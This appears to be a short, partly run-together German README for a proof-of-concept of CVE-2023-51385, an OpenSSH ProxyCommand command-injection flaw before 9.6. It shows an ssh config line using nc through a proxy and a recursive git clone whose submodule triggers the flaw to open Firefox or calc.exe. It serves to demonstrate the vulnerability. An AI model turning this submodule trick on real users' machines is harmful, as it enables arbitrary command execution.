
CVE-2023-51385;OpenSSH ProxyCommand RCE;PoC für OpenSSH <9.6 Command Injection-Schwachstelle
CVE-2023-51385 poc
OpenSSH ProxyCommand RCE poc
OpenSSH <9.6 Befehlsinjektions-Schwachstelle PoC Chinesisch
vim ~/.ssh/config oder bearbeite C:/Users/username/.ssh/config unter Windowshost *.example.com
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
git clone https://github.com/WLaoDuo/CVE-2023-51385_poc-test --recurse-submodulesEin Submodul, das diese Schwachstelle ausnutzt, um Firefox auf Kali oder calc.exe unter Windows zu öffnen.
Dank an https://github.com/vin01/poc-proxycommand-vulnerable-v2